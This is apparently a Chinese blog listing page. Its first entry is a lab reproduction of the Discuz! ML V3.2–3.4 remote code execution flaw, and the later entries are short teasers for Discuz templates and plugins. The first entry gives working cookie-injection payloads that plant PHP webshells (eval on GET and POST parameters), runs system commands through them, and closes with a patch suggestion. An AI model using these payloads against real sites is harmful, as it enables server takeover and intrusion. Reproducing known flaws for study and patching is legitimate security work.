2020-10-23
Discuz! ML RCE漏洞 getshell 复现

Discuz! ML RCE漏洞 getshell 复现

Discuz简介 Discuz!ML是一个由CodersClub.org创建的多语言,集成,功能齐全的开源网络平台, 用于构建像“社交网络”这样的互联网社区。 影响版本 Discuz! ML V3.2 Discuz! ML V3.3 Discuz! ML V3.4 环境搭建 phpstudy  php-7.2.10-nts Apache discuz 3.4 源码  官网直接下载:http://discuz.ml/download 之后将源码解压到根目录 漏洞复现 右上角语言标识,随便选择一种语言并抓包     将抓到的包发送到repeater模块 将包中的xxxxx_language参数值改为 '.phpinfo().' ,可以看到成功执行了代码,得到了phpinfo信息,如下图:     Getshell exp: 解码后: '.file_put_contents('shell.php',urldecode('%3c%3fphp %20eval(%24_%47%45%54%5b%22cmd%22%5d)%3b%3f%3e')).' 解码前: '. file_put_contents('shell.php',urldecode('') 将包中的xxxxx_language参数值改为解码后的exp,可以看到成功执行了代码,在文件夹中多出了shell.php文件, 如下图     查看文件upload     url后加shell.php?cmd=system('whoami'); url:http://127.0.0.1/discuz/upload/shell.php?cmd=system('whoami'); 直接执行了whoami命令     Exp: '.file_put_contents('shelll.php',urldecode('%3c%3fphp %20eval(%24_%50%4f%53%54%5b%22a1%22%5d)%3b%3f%3e')).' 原语句: <?php  eval($_POST["a1"]);?> 将包中cookie的xxxxx_language参数值改为exp,可以看到成功执行了代码,在文件夹中多出了shelll.php文件, 如下图     访问执行shelll.php     执行后使用菜刀连接 http://127.0.0.1/discuz/upload/shelll.php 密码:a1(可自己修改)     修复建议 修改source/function/function_core.php 644行为: /*vot*/ $cachefile = './data/template/'.'sc'.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php' 删除可控变量。 或者安装最新补丁。 ...
网络安全 1960次浏览 0条评论
2020-10-14
最新Discuz宽屏大气素材教程资源下载类网站源码

最新Discuz宽屏大气素材教程资源下载类网站源码

discuz X3.4 在继承和完善 Discuz! X3.3 的基础上,去除了云平台的相关代码,其他功能保持不变,如果您的论坛不需要云平台可以选择安装或更新到此版本。X3.4将不定期的在官方 Git 中更新,欲追求更新版本的站长欢迎关注。 Discuz x3.4模板_2020最新宽屏大气素材教程资源下载类模板 GBK 模板介绍: 1.模板宽度为1180px宽屏设计; 2.系统版本支持:discuz x3.0,discuz x3.1,discuz x3.2,discuz x3.3,discuz x3.4; 3.门户DIY采用模块化设置,用户可自由布局排版; 4.全局美化,对登陆注册、家园、用户中心、广播等优化设计; 5.代码简洁优化,利于搜索引擎SEO; 6.对官方模板文件结构和功能位置做了更为优化的设计处理,无论是在前端界面上还是在CCS代码优化上,兼容主流浏览器; 更新说明: 2019-10-14 1.修复了用户中心背景图无法居中问题; 2.新增搜索组件; 3.增加了php调用代码输出; 4.调整了了帖子列表页CSS样式 2019-06-20 1.修复了portalst_product发表按钮错位问题; 细节调整,修复已知BUG (2018-01-25) ...
discuz 1530次浏览 0条评论
2020-10-14
Discuz二次元动漫风格模板

Discuz二次元动漫风格模板

The_C_Style简称C风格,动态特性,支持宽窄屏,宽屏最大1600px,窄屏1200px,模板兼容各主流浏览器(火狐、360、谷歌等), 动态效果不兼容IE旧版本的浏览器,正常显示页面兼容ie8,建议使用Chrome内核浏览器以获取更好的体验。 全页面定制(小页面太多难免有纰漏),淡雅清新风格。独立的登陆/注册页面,背景可自由定制图片数量轮换。 ...
discuz 3363次浏览 0条评论
2020-10-11
Discuz资源付费下载论坛模板

Discuz资源付费下载论坛模板

虚拟资源付费下载模板论坛模板默认设置GBK编号+适用升級全新UTF8版本号 Discuz资源付费下载论坛模板 本站用户分享的文章以及资源仅限用于学习和研究目的;不得将用于商业或者非法用途;产生的法律后果,本站概不负责! 3、如有侵权、不妥之处,请联系站长以便删除 ...
discuz 1367次浏览 0条评论
2020-10-10
Discuz仿科学刀论坛模板

Discuz仿科学刀论坛模板

模板文件直接覆盖即可,因css js需要,所以会用到default。 覆盖后直接后台启用即可!非常简单好看的一款轻量级模板。 Discuz高仿科学刀论坛模板,绝对是一模一样的,喜欢的可以下载一份学习! ...
discuz 1040次浏览 0条评论
2020-10-10
Discuz 最新版积分充值插件

Discuz 最新版积分充值插件

注意:使用本Discuz 积分充值插件需要开通微信支付或签约支付宝,支持手机版、支持pc、支持小云APP 支持充值卡、支持触屏版购买积分、积分充值。 本插件支持支付宝支付购买积分、微信支付购买积分,为论坛变现! 支持自定义可购买的积分类型,支持设置人民币/积分比。 可设置默认金额,快捷选择,快捷支付;可以手动输入购买的金额。 支持系统消息、可以查看自己的积分订单、站长可以查看所有积分订单 支持自定义页面主题色,输入框预置词语 ...
discuz 1582次浏览 0条评论
微信二维码